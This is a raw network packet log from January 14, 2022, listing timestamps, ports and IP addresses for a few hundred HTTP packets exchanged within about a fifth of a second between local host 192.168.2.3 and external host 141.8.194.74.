Jan 14, 2022 02:05:31.437068939 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.437087059 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.437098980 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.437102079 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.437119961 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.437122107 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.437135935 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.437151909 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.437170029 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.437170982 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.437186003 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.437202930 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.437211990 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.437218904 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.437235117 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.437244892 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.437252045 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.437268019 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.437273979 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.437284946 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.437303066 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.437340975 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.437948942 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.437972069 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.438008070 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.438030958 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.438055038 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.438076019 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.438081980 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.438108921 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.438119888 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.438133955 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.438148022 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.438196898 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.438209057 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.438241959 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.438265085 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.438287020 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.438296080 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.438311100 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.438333035 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.438340902 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.438385010 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.438441992 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.438488007 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.438528061 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.438535929 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.438550949 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.438596010 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.438796997 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.438849926 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.438886881 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.438910961 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.438920975 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.438955069 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.438963890 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.438986063 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.439008951 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.439032078 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.439038992 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.439054966 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.439075947 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.439076900 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.439100981 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.439124107 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.439146042 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.439146996 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.439169884 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.439177990 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.439192057 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.439215899 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.439227104 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.439316988 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.481365919 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.481441975 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.481496096 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.481512070 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.481547117 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.481576920 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.481590986 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.481600046 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.481623888 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.481643915 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.481662989 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.481698036 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.481704950 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.481728077 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.481751919 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.481770039 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.481775045 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.481797934 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.481820107 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.481822968 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.481842995 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.481869936 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.481879950 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.481903076 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.481921911 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.481925011 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.481946945 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.481965065 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.481971979 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.481992006 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.482008934 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.482017040 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.482026100 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.482043028 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.482054949 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.482060909 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.482076883 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.482084036 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.482095957 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.482111931 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.482121944 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.482131004 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.482150078 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.482155085 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.482178926 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.482203960 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.482228041 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.482228041 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.482249975 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.482269049 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.482271910 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.482285976 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.482294083 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.482304096 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.482322931 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.482346058 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.482424974 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.510643959 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.510699034 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.510718107 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.510735989 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.510755062 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.510773897 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.510791063 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.510807037 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.510824919 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.510840893 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.510853052 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.510859013 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.510878086 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.510895014 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.510911942 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.510930061 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.510946989 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.510951996 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.510966063 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.510982037 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.510988951 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.510999918 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.511017084 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.511054993 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.511091948 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.511435032 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.511460066 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.511497021 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.511513948 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.511523962 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.511565924 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.511569977 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.511589050 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.511621952 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.511634111 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.511646032 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.511676073 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.511691093 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.511712074 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.511739969 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.511754990 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.511769056 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.511771917 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.511790037 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.511806011 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.511816025 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.511822939 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.511840105 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.511857033 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.511857986 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.511893034 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.511929035 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.512268066 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.512294054 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.512325048 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.512384892 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.512419939 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.512444973 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.512470961 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.512476921 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.512501001 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.512525082 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.512530088 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.512557030 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.512573004 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.512588978 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.512590885 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.512614965 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.512620926 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.512631893 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.512650967 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.512685061 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.512723923 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.512733936 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.512751102 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.512774944 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.512790918 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.512825012 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.512861967 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.555644035 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.555687904 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.555713892 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.555737972 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.555767059 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.555794954 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.555813074 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.555831909 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.555861950 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.555888891 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.555901051 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.555905104 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.555932045 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.555936098 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.555954933 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.555964947 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.555982113 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.555991888 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.555999041 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.556018114 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.556021929 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.556039095 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.556056023 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.556063890 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.556085110 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.556102037 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.556102991 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.556127071 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.556152105 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.556155920 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.556186914 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.556197882 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.556202888 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.556221008 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.556237936 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.556246996 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.556256056 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.556273937 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.556284904 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.556291103 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.556315899 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.556318045 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.556334019 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.556351900 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.556359053 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.556369066 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.556386948 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.556390047 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.556405067 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.556423903 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.556442022 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.556446075 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.556458950 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.556483984 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.556505919 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.584357977 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.584404945 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.584439993 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.584482908 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.584496021 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.584506989 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.584528923 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.584532022 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.584557056 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.584579945 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.584614038 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.584649086 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.584657907 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.584673882 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.584705114 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.584736109 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.584760904 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.584786892 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.584809065 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.584815979 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.584836006 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.584861994 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.584861994 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.584894896 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.584919930 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.584920883 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.584950924 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.584964037 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.584980011 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.585012913 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.585033894 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.585059881 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.585093021 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.585107088 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.585146904 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.585190058 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.585191965 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.585216999 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.585242987 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.585277081 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.585282087 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.585319042 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.585320950 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.585345030 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.585367918 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.585387945 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.585390091 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.585412979 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.585431099 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.585438013 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.585464001 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.585475922 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.585489035 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.585514069 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.585540056 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.585540056 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.585561991 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.585582018 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.585586071 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.585619926 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.585660934 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.585745096 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.585769892 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.585807085 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.585832119 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.585916996 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.585959911 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.585963964 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.586010933 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.586036921 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.586052895 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.586061954 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.586086988 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.586102962 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:31.586111069 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:31.586137056 CET	80	49901	141.8.194.74	192.168.2.3
